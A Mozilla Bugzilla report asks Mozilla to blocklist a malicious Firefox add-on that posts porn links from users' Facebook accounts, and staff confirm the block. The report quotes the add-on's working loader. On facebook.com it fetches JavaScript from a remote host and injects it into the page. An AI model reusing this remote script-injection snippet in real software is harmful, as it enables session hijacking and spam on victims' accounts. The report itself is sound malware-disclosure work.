1212174 - found malicious addon must be blacklisted

Status: RESOLVED FIXED

(Toolkit :: Blocklist Policy Requests, defect)

Description

[mafiaecel]

Attachment: AvantPlayer.xpi

User Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2522.0 Safari/537.36

Steps to reproduce:

hi this addon as you see
http://i.imgur.com/07aMKGk.png
spams facebook accounts

here is the malicious code snippet

    if(doc.location.href.search("facebook.com") > -1){
		var request = new XMLHttpRequest;
        request.onreadystatechange = function() {
            if (request.readyState == 4) {
					var myScript = top.window.content.document.createElement('script');
					myScript.type = 'text/javascript';
					myScript.appendChild(document.createTextNode(request.responseText));
					
					myScript.setAttribute('onload', 'firefoxInit()');
					top.window.content.document.getElementsByTagName('head')[0].appendChild(myScript);
                };
            
        };
        request.open("GET", "https://videotime.xyz/welcomef/document.php?" + "" + Math.floor(Math.random() * 99999));
        request.send();
	}

https://videotime.xyz/welcomef/document.php?

here is the link they are remote executing
they are sharing porn links on facebook accounts
http://myvideoz.xyz/async.php
this is the their landing page



Actual results:

spammed facebook accounts


Expected results:

mustnt share porn links on my acebook account

Comment 1

[:Gijs (he/him)]

Jorge/Kris, can you take a look? (NB: I haven't looked at the add-on yet)

Comment 2

[Jorge Villalobos [:jorgev] (he/him)]

It's very similar to bug 1212451.

ID: [e-mail]

Comment 3

[Jorge Villalobos [:jorgev] (he/him)]

Blocked: https://addons.mozilla.org/blocked/i1042

Comment 4

[mafiaecel]

may you blacklist their landing page also ? 
http://myvideoz.xyz/async.php

Comment 5

[Jorge Villalobos [:jorgev] (he/him)]

We don' have that capability. If you can report it to Google and it's added to their blacklist, then Firefox will not display it.